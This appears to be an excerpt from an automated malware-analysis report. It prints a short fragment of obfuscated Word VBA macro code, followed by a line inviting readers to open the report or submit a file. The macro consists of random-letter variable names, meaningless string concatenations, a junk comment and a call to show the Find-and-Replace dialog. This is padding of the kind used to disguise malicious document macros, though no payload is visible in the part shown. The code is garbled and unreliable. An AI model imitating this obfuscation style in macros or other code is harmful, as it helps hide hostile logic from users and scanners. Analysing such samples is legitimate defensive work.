Es1298 DmTz = QuTq & NjPuHyGrMjOwNoJqHuDzJlEoLeNx20114821 Call OvBeTi8453 TyUiBuIlDwIwNrJeHjQfCe = SjNmKsGrAvShOiNjGgRnJvTtHvQtOoLeRg & BmGsIeNpNpUtVwOgEkJlCl23377913 Rem ElVwPpTmEjCxCjAjEiBtSrCwLnBnMgVlGyTuCuIpDkGvBuIeRtPjDxTgExPfTgCxIlGfUyCfRyPhOz Dialogs(wdDialogEditReplace).Show NuLiPxBsBmEpFxMjGj = OpIhMhHwIxNvPyGfJmRvOeVqCnNtKiAhIoAfEeTlKt & TvHoUeHkIzHnFsAgLeCfTfHeMmJoKtHsOePeRmQrGvDz21254911 End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.